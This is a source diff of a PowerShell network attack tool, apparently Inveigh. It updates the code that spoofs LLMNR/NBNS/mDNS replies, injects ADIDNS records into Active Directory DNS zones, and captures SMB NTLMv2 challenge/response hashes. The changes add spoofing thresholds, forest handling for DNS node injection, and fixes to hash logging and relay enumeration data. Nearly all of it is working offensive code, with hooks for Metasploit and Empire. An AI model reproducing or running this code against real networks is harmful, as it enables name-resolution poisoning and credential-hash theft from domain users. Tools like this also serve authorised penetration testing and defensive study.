+        $elevated_privilege_check = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
         $elevated_privilege = $true
     }
     else
@@ -667,9 +679,22 @@ if(!$elevated_privilege)
         throw
     }
 
-    $NBNS = "Y"
+    if(!$NBNS)
+    {
+        $NBNS = "Y"
+    }
+
     $SMB = "N"
 }
+else
+{
+
+    if(!$NBNS)
+    {
+        $NBNS = "N"
+    }
+
+}
 
 $inveigh.hostname_spoof = $false
 $inveigh.running = $true
@@ -717,7 +742,7 @@ if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's P
 {
     $inveigh.tool = 1
     $inveigh.output_stream_only = $true
-    $inveigh.newline = ""
+    $inveigh.newline = $null
     $ConsoleOutput = "N"
 
 }
@@ -726,7 +751,7 @@ elseif($Tool -eq 2) # PowerShell Empire
     $inveigh.tool = 2
     $inveigh.output_stream_only = $true
     $inveigh.console_input = $false
-    $inveigh.newline = ""
+    $inveigh.newline = $null
     $LogOutput = "N"
     $ShowHelp = "N"
 
@@ -754,7 +779,7 @@ elseif($Tool -eq 2) # PowerShell Empire
 else
 {
     $inveigh.tool = 0
-    $inveigh.newline = ""
+    $inveigh.newline = $null
 }
 
 $inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value
@@ -762,7 +787,7 @@ $inveigh.computer_name = (Get-ChildItem -path env:computername).Value
 
 try
 {
-    $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain).Value).ToLower()
+    $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain -ErrorAction 'SilentlyContinue').Value).ToLower()
     $inveigh.DNS_computer_name = ($inveigh.computer_name + "." + $inveigh.DNS_domain).ToLower()
 
     if(!$inveigh.domain_mapping_table.($inveigh.netBIOS_domain))
@@ -779,7 +804,7 @@ catch
 
 if($inveigh.relay_running)
 {
-    $inveigh.output_pause = $true
+  #  $inveigh.output_pause = $true
 }
 
 #endregion
@@ -788,11 +813,21 @@ $inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -f
 
 if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege)
 {
-    $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled")  > $null
+
+    if(($ElevatedPrivilege -eq 'Auto' -and $elevated_privilege) -or ($ElevatedPrivilege -eq 'Y' -and $elevated_privilege_check))
+    {
+        $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled")  > $null
+    }
+    else
+    {
+        $inveigh.output_queue.Add("[-] Elevated Privilege Mode Enabled But Check Failed")  > $null
+    }
+
 }
 else
 {
     $inveigh.output_queue.Add("[!] Elevated Privilege Mode = Disabled")  > $null
+    $SMB = "N"
 }
 
 if($firewall_status)
@@ -804,7 +839,53 @@ $inveigh.output_queue.Add("[+] Primary IP Address = $IP")  > $null
 
 if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y')
 {
-    $inveigh.output_queue.Add("[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = $SpooferIP")  > $null
+    $inveigh.output_queue.Add("[+] Spoofer IP Address = $SpooferIP")  > $null
+}
+
+if($LLMNR -eq 'Y' -or $NBNS -eq 'Y')
+{
+
+    if($SpooferThresholdHost -gt 0)
+    {
+    $inveigh.output_queue.Add("[+] Spoofer Threshold Host = $SpooferThresholdHost")  > $null
+    }
+
+    if($SpooferThresholdNetwork -gt 0)
+    {
+        $inveigh.output_queue.Add("[+] Spoofer Threshold Network = $SpooferThresholdNetwork")  > $null
+    }
+    
+}
+
+if($ADIDNS)
+{
+    $inveigh.ADIDNS = $ADIDNS
+    $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS")  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ","))  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController")  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain")  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS Forest = $ADIDNSForest")  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS TTL = $ADIDNSTTL")  > $null
+    $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone")  > $null
+
+    if($ADIDNSCleanup -eq 'Y')
+    {
+        $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Enabled")  > $null
+    }
+    else
+    {
+        $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Disabled")  > $null    
+    }
+
+    if($ADIDNS -eq 'Combo')
+    {
+        $inveigh.request_table_updated = $true
+    }
+
+}
+else
+{
+    $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled")  > $null
 }
 
 if($LLMNR -eq 'Y')
@@ -825,7 +906,7 @@ if($LLMNR -eq 'Y')
 else
 {
     $inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled")  > $null
-    $LLMNR_response_message = "[Spoofer Disabled]"
+    $LLMNR_response_message = "[spoofer disabled]"
 }
 
 if($mDNS -eq 'Y')
@@ -856,7 +937,7 @@ if($mDNS -eq 'Y')
 else
 {
     $inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled")  > $null
-    $mDNS_response_message = "[Spoofer Disabled]"
+    $mDNS_response_message = "[spoofer disabled]"
 }
 
 if($NBNS -eq 'Y')
@@ -876,7 +957,7 @@ if($NBNS -eq 'Y')
 else
 {
     $inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled")  > $null
-    $NBNS_response_message = "[Spoofer Disabled]"
+    $NBNS_response_message = "[spoofer disabled]"
 }
 
 if($NBNSBruteForce -eq 'Y')
@@ -955,27 +1036,6 @@ else
     $inveigh.spoofer_repeat = $true
 }
 
-if($ADIDNS)
-{
-    $inveigh.ADIDNS = $ADIDNS
-    $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS")  > $null
-    $inveigh.output_queue.Add("[+] ADIDNS Spoofer IP = $ADIDNSIP")  > $null
-    $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ","))  > $null
-    $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController")  > $null
-    $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain")  > $null
-    $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone")  > $null
-
-    if($ADIDNS -eq 'Combo')
-    {
-        $inveigh.request_table_updated = $true
-    }
-
-}
-else
-{
-    $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled")  > $null
-}
-
 if($SMB -eq 'Y' -and $elevated_privilege)
 {
     $inveigh.output_queue.Add("[+] SMB Capture = Enabled")  > $null
@@ -1119,18 +1179,6 @@ else
 if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
 {
     $inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth")  > $null
-    $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth")  > $null
-
-    if($WPADAuth -like "NTLM*")
-    {
-        $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()})
-
-        if($WPADAuthIgnore.Count -gt 0)
-        {
-            $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ","))  > $null
-        }
-
-    }
 
     if($HTTPDir -and !$HTTPResponse)
     {
@@ -1163,14 +1211,6 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
         $inveigh.output_queue.Add("[+] Basic Authentication Realm = $HTTPBasicRealm")  > $null
     }
 
-    $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()})
-
-    if($HTTPResetDelay.Count -gt 0)
-    {
-        $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ","))  > $null
-        $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null
-    }
-
     if($Proxy -eq 'Y')
     {
 
@@ -1214,6 +1254,19 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
 
     }
 
+    $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth")  > $null
+
+    if($WPADAuth -like "NTLM*")
+    {
+        $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()})
+
+        if($WPADAuthIgnore.Count -gt 0)
+        {
+            $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ","))  > $null
+        }
+
+    }
+
     if($WPADDirectHosts)
     {
         ForEach($WPAD_direct_host in $WPADDirectHosts)
@@ -1279,19 +1332,25 @@ if($MachineAccounts -eq 'N')
 }
 else
 {
+    $inveigh.output_queue.Add("[+] Machine Account Capture = Enabled")  > $null
     $inveigh.machine_accounts = $true
 }
 
 if($ConsoleOutput -ne 'N')
 {
 
-    if($ConsoleOutput -eq 'Y')
-    {
-        $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled")  > $null
-    }
-    else
+    if($ConsoleOutput -ne 'N')
     {
-        $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput")  > $null
+
+        if($ConsoleOutput -eq 'Y')
+        {
+            $inveigh.output_queue.Add("[+] Console Output = Full")  > $null
+        }
+        else
+        {
+            $inveigh.output_queue.Add("[+] Console Output = $ConsoleOutput")  > $null
+        }
+
     }
 
     $inveigh.console_output = $true
@@ -1311,11 +1370,11 @@ else
 
     if($inveigh.tool -eq 1)
     {
-        $inveigh.output_queue.Add("[+] Real Time Console Output Disabled Due To External Tool Selection")  > $null
+        $inveigh.output_queue.Add("[+] Console Output Disabled Due To External Tool Selection")  > $null
     }
     else
     {
-        $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled")  > $null
+        $inveigh.output_queue.Add("[+] Console Output = Disabled")  > $null
     }
 
 }
@@ -1331,13 +1390,13 @@ else
 
 if($FileOutput -eq 'Y')
 {
-    $inveigh.output_queue.Add("[+] Real Time File Output = Enabled")  > $null
+    $inveigh.output_queue.Add("[+] File Output = Enabled")  > $null
     $inveigh.output_queue.Add("[+] Output Directory = $output_directory")  > $null
     $inveigh.file_output = $true
 }
 else
 {
-    $inveigh.output_queue.Add("[+] Real Time File Output = Disabled")  > $null
+    $inveigh.output_queue.Add("[+] File Output = Disabled")  > $null
 }
 
 if($FileUnique -eq 'Y')
@@ -1374,11 +1433,11 @@ elseif($RunTime -gt 1)
 
 if($ShowHelp -eq 'Y')
 {
-    $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop manually")  > $null
-        
+    $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop")  > $null
+
     if($inveigh.console_output)
     {
-        $inveigh.output_queue.Add("[*] Press any key to stop real time console output")  > $null
+        $inveigh.output_queue.Add("[*] Press any key to stop console output")  > $null
     }
 
 }
@@ -1400,7 +1459,7 @@ while($inveigh.output_queue.Count -gt 0)
             {
                 Write-Warning($inveigh.output_queue[0])
             }
-            
+
             if($inveigh.file_output)
             {
                 $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null
@@ -1443,6 +1502,8 @@ while($inveigh.output_queue.Count -gt 0)
 
 }
 
+$inveigh.status_output = $false
+
 #endregion
 #region begin script blocks
 
@@ -1492,19 +1553,19 @@ $shared_basic_functions_scriptblock =
 	   return [System.BitConverter]::ToUInt32($field,0)
     }
 
-    function SpooferResponseMessage
+    function Get-SpooferResponseMessage
     {
-        param ([String]$query_string,[String]$mDNS_type)
+        param ([String]$QueryString,[String]$Type,[String]$mDNSType)
 
         $response_type = "[+]"
 
-        if($SpooferHostsReply -and $SpooferHostsReply -notcontains $query_string)
+        if($SpooferHostsReply -and $SpooferHostsReply -notcontains $QueryString)
         {
-            $response_message = "[$query_string not on reply list]"
+            $response_message = "[$QueryString not on reply list]"
         }
-        elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $query_string)
+        elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $QueryString)
         {
-            $response_message = "[$query_string is on ignore list]"
+            $response_message = "[$QueryString is on ignore list]"
         }
         elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP)
         {
@@ -1520,42 +1581,96 @@ $shared_basic_functions_scriptblock =
         }
         elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString)
         {
-            $response_message = "[Previous $source_IP Capture]"
+            $response_message = "[previous $source_IP capture]"
         }
-        elseif($source_IP -eq $IP)
+        elseif($source_IP.IPAddressToString -eq $IP)
         {
-            $response_message = "[Local Request]"
+            $response_message = "[local request ignored]"
         }
         elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay)
         {
             $response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts"
         }
-        elseif($destination_IP.IPAddressToString -eq $IP)
+        elseif($Type -ne 'mDNS' -and $destination_IP.IPAddressToString -eq $IP)
         {
-            $response_message = "[ResponderGuard Ignored]"
+            $response_message = "[ResponderGuard ignored]"
             $response_type = "[!]"
         }
-        elseif($NBNSTypes -notcontains $NBNS_query_type)
+        elseif($Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type)
+        {
+            $response_message = "[NBNS type disabled]"
+        }
+        elseif($Type -eq 'NBNS' -and $QueryString.Trim() -eq '*')
         {
-            $response_message = "[NBNS Type Disabled]"
+            $response_message = "[NBSTAT request]"
         }
-        elseif($query_string.Trim() -eq '*')
+        elseif($Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType)
         {
-            $response_message = "[NBSTAT Request]"
+            $response_message = "[mDNS type disabled]"
         }
-        elseif($mDNS_type -and $mDNSTypes -notcontains $mDNS_type)
+        elseif(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost)
         {
-            $response_message = "[mDNS Type Disabled]"
+            $response_message = "[SpooferThresholdHost >= $(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count)]"
+        }
+        elseif(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork)
+        {
+            $response_message = "[SpooferThresholdNetwork >= $(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count)]"
         }
         else
         {
             $response_message = "[something went wrong]"
             $response_type = "[-]"
         }
-        
+
         return $response_type,$response_message
     }
 
+    function Get-NBNSQueryType([String]$NBNSQueryType)
+    {
+
+        switch ($NBNSQueryType)
+        {
+
+            '41-41'
+            {
+                $NBNS_query_type = "00"
+            }
+
+            '41-44'
+            {
+                $NBNS_query_type = "03"
+            }
+
+            '43-41'
+            {
+                $NBNS_query_type = "20"
+            }
+
+            '42-4C'
+            {
+                $NBNS_query_type = "1B"
+            }
+
+            '42-4D'
+            {
+                $NBNS_query_type = "1C"
+            }
+
+            '42-4E'
+            {
+                $NBNS_query_type = "1D"
+            }
+
+            '42-4F'
+            {
+                $NBNS_query_type = "1E"
+            }
+
+        }
+
+        return $NBNS_query_type
+    }
+
     function ConvertFrom-PacketOrderedDictionary
     {
         param($packet_ordered_dictionary)
@@ -1583,7 +1698,7 @@ $shared_basic_functions_scriptblock =
         if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)}
 
         $relay_object = New-Object PSObject
-        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumeration_data.Count
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions
@@ -1600,7 +1715,7 @@ $shared_basic_functions_scriptblock =
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution
-        
+
         return $relay_object
     }
 
@@ -1618,10 +1733,10 @@ $shared_basic_functions_scriptblock =
             $session = $domain + "\" + $username
         }
 
-        if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname_full})
+        if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname_full})
         {
-            $target_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname_full} | Select-Object -expand Index
-            $session_list = @($inveigh.enumeration_data[$target_index].Sessions)
+            $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname_full} | Select-Object -expand Index
+            $session_list = @($inveigh.enumerated_data[$target_index].Sessions)
 
             if($inveigh.domain_mapping_table.$domain)
             {
@@ -1634,7 +1749,7 @@ $shared_basic_functions_scriptblock =
                     if($session_entry -like "$domain\*")
                     {
                         $session_list[$i] = $session_update
-                        $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                        $inveigh.enumerated_data[$target_index].Sessions = $session_list
                     }
 
                 }
@@ -1644,15 +1759,15 @@ $shared_basic_functions_scriptblock =
             if($session_list -notcontains $session)
             {
                 $session_list += $session
-                $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                $inveigh.enumerated_data[$target_index].Sessions = $session_list
             }
 
         }
-        elseif($inveigh.enumeration_data | Where-Object {$_.IP -eq $IP})
+        elseif($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})
         {
-            $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index
-            $inveigh.enumeration_data[$target_index].Hostname = $hostname_full
-            $session_list = @($inveigh.enumeration_data[$target_index].Sessions)
+            $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index
+            $inveigh.enumerated_data[$target_index].Hostname = $hostname_full
+            $session_list = @($inveigh.enumerated_data[$target_index].Sessions)
 
             if($inveigh.domain_mapping_table.$domain)
             {
@@ -1665,7 +1780,7 @@ $shared_basic_functions_scriptblock =
                     if($session_list[$i] -like "$domain\*")
                     {
                         $session_list[$i] = $session_update
-                        $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                        $inveigh.enumerated_data[$target_index].Sessions = $session_list
                     }
 
                 }
@@ -1675,13 +1790,13 @@ $shared_basic_functions_scriptblock =
             if($session_list -notcontains $session)
             {
                 $session_list += $session
-                $inveigh.enumeration_data[$target_index].Sessions = $session_list
+                $inveigh.enumerated_data[$target_index].Sessions = $session_list
             }
 
         }
         else
         {
-            $inveigh.enumeration_data += New-RelayEnumObject -IP $IP -Hostname $hostname_full -Session $session
+            $inveigh.enumerated_data += New-RelayEnumObject -IP $IP -Hostname $hostname_full -Session $session
         }
 
     }
@@ -1689,7 +1804,7 @@ $shared_basic_functions_scriptblock =
 }
 
 # DNS Functions ScriptBlock
-$ADIDNS_functions_scriptblock = 
+$ADIDNS_functions_scriptblock =
 {
 
     function Disable-ADIDNSNode
@@ -1739,7 +1854,7 @@ $ADIDNS_functions_scriptblock =
             $directory_entry.InvokeSet('dnsRecord',$DNS_record)
             $directory_entry.InvokeSet('dnsTombstoned',$true)
             $directory_entry.SetInfo()
-            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned") > $null
+            $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned in $Zone") > $null
         }
         catch
         {
@@ -1805,11 +1920,11 @@ $ADIDNS_functions_scriptblock =
             $directory_entry.InvokeSet('dnsRecord',$DNSRecord)
             $directory_entry.SetInfo()
             $success = $true
-            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added") > $null;
+            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null;
 
             if($inveigh.ADIDNS -eq 'Combo')
             {
-                $inveigh.DNS_table.$Node = "1"
+                $inveigh.ADIDNS_table.$Node = "1"
             }
 
         }
@@ -1822,7 +1937,7 @@ $ADIDNS_functions_scriptblock =
 
             if($inveigh.ADIDNS -eq 'Combo')
             {
-                $inveigh.DNS_table.$Node = "0"
+                $inveigh.ADIDNS_table.$Node = "0"
             }
 
         }
@@ -1875,7 +1990,8 @@ $ADIDNS_functions_scriptblock =
         catch
         {
 
-            if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*')
+            if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and
+            $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*')
             {
                 $error_message = $_.Exception.Message
                 $error_message = $error_message -replace "`n",""
@@ -1918,6 +2034,7 @@ $ADIDNS_functions_scriptblock =
             [parameter(Mandatory=$false)][String]$DistinguishedName,
             [parameter(Mandatory=$false)][String]$Domain,
             [parameter(Mandatory=$false)][String]$DomainController,
+            [parameter(Mandatory=$false)][String]$Forest,
             [parameter(Mandatory=$true)][String]$Node,
             [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
             [parameter(Mandatory=$false)][String]$Type,
@@ -1949,10 +2066,9 @@ $ADIDNS_functions_scriptblock =
         }
 
         $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
+        $forest_array = $Forest.Split(".")
 
-        $DC_array = $Domain.Split(".")
-
-        ForEach($DC in $DC_array)
+        ForEach($DC in $forest_array)
         {
             $object_category += ",DC=$DC"
         }
@@ -1969,12 +2085,12 @@ $ADIDNS_functions_scriptblock =
             $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null
             $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
             $connection.SendRequest($request) > $null
-            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added") > $null
+            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null
             $output = $true
 
             if($inveigh.ADIDNS -eq 'Combo')
             {
-                $inveigh.DNS_table.$Node = "1"
+                $inveigh.ADIDNS_table.$Node = "1"
             }
 
         }
@@ -1992,7 +2108,7 @@ $ADIDNS_functions_scriptblock =
 
             if($inveigh.ADIDNS -eq 'Combo')
             {
-                $inveigh.DNS_table.$Node = "0"
+                $inveigh.ADIDNS_table.$Node = "0"
             }
 
         }
@@ -2138,8 +2254,8 @@ $ADIDNS_functions_scriptblock =
 
     function New-DNSRecordArray
     {
-
         [CmdletBinding()]
+        [OutputType([Byte[]])]
         param
         (
             [parameter(Mandatory=$false)][String]$Data,
@@ -2150,7 +2266,10 @@ $ADIDNS_functions_scriptblock =
             [parameter(Mandatory=$false)][Int]$Priority,
             [parameter(Mandatory=$false)][Int]$Weight,
             [parameter(Mandatory=$false)][Int]$Port,
-            [parameter(Mandatory=$false)][Int]$TTL
+            [parameter(Mandatory=$false)][Int]$TTL = 600,
+            [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+            [parameter(Mandatory=$false)][Switch]$Static,
+            [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
         )
 
         $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone
@@ -2301,7 +2420,7 @@ $ADIDNS_functions_scriptblock =
         
         $DNS_record += $DNS_data
 
-        return [Byte[]]$DNS_record
+        return ,$DNS_record
     }
 
     function Invoke-ADIDNSSpoofer
@@ -2312,6 +2431,7 @@ $ADIDNS_functions_scriptblock =
             [parameter(Mandatory=$false)][String]$Data,
             [parameter(Mandatory=$false)][String]$Domain,
             [parameter(Mandatory=$false)][String]$DomainController,
+            [parameter(Mandatory=$false)][String]$Forest,
             [parameter(Mandatory=$true)][String]$Node,
             [parameter(Mandatory=$false)]$Partition,
             [parameter(Mandatory=$false)][String]$Zone,
@@ -2321,7 +2441,7 @@ $ADIDNS_functions_scriptblock =
 
         try
         {
-            $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone
+            $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone
 
             if($inveigh.ADIDNS -and !$node_added)
             {
@@ -2337,6 +2457,9 @@ $ADIDNS_functions_scriptblock =
         }
         catch
         {
+            $error_message = $_.Exception.Message
+            $error_message = $error_message -replace "`n",""
+            $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null
             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS spoofer disabled due to error") > $null
             $inveigh.ADIDNS = $null
         }
@@ -2352,6 +2475,7 @@ $ADIDNS_functions_scriptblock =
             [parameter(Mandatory=$false)][String]$Data,
             [parameter(Mandatory=$false)][String]$Domain,
             [parameter(Mandatory=$false)][String]$DomainController,
+            [parameter(Mandatory=$false)][String]$Forest,
             [parameter(Mandatory=$false)]$Partition,
             [parameter(Mandatory=$false)][String]$Zone,
             [parameter(Mandatory=$false)][Int]$Threshold,
@@ -2365,21 +2489,27 @@ $ADIDNS_functions_scriptblock =
         ForEach($request in $RequestTable.Keys)
         {
 
-            if($RequestTable.$request.Count -gt $Threshold)
+            if(($RequestTable.$request | Sort-Object -Unique).Count -gt $Threshold)
             {
 
-                if(!$inveigh.DNS_table.ContainsKey($request))
+                if(!$inveigh.ADIDNS_table.ContainsKey($request))
                 {
-                    $inveigh.DNS_table.Add($request,"")
+                    $inveigh.ADIDNS_table.Add($request,"")
                 }
                 
-                if($Ignore -NotContains $request -and $inveigh.DNS_table.$request -ne 0 -and $inveigh.DNS_table.$request -ne 1)
+                if($Ignore -NotContains $request -and !$inveigh.ADIDNS_table.$request)
                 {    
-                    Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $request -Partition $Partition -TTL $TTL -Zone $Zone
+                    Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $request -Partition $Partition -TTL $TTL -Zone $Zone
                 }
                 elseif($Ignore -Contains $request)
                 {
-                    $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS spoofer ignored $request")
+
+                    if(!$inveigh.ADIDNS_table.$request)
+                    {
+                        $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS combo attack ignored $request") > $null
+                        $inveigh.ADIDNS_table.$request = 3
+                    }
+
                 }
 
             }
@@ -2397,13 +2527,14 @@ $SMB_NTLM_functions_scriptblock =
     
     function Get-SMBConnection
     {
-        param ([Byte[]]$Payload,[String]$Session,[String]$Port)
+        param ([Byte[]]$Payload,[String]$IP,[String]$SourceIP,[String]$SourcePort,[String]$Port)
 
         $payload_converted = [System.BitConverter]::ToString($Payload)
         $payload_converted = $payload_converted -replace "-",""
+        $session = "$SourceIP`:$SourcePort"
         $SMB_index = $payload_converted.IndexOf("FF534D42")
 
-        if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72")
+        if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72" -and ($IP -ne $SourceIP))
         {
             $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null
         }
@@ -2415,7 +2546,7 @@ $SMB_NTLM_functions_scriptblock =
 
         $SMB_index = $payload_converted.IndexOf("FE534D42")
 
-        if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000")
+        if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000" -and ($IP -ne $SourceIP))
         {
             $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null
         }
@@ -2487,10 +2618,10 @@ $SMB_NTLM_functions_scriptblock =
                 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null
             }
 
-            if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target -and !$_.Hostname})
+            if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target -and !$_.Hostname})
             {
-                $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-                $inveigh.enumeration_data[$target_index].Hostname = $DNS_computer_name
+                $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
+                $inveigh.enumerated_data[$target_index].Hostname = $DNS_computer_name
             }
 
         }
@@ -2546,7 +2677,7 @@ $SMB_NTLM_functions_scriptblock =
 
                     if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")))
                     {
-                        $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash)
+                        $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null
                         $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null
                     }
 
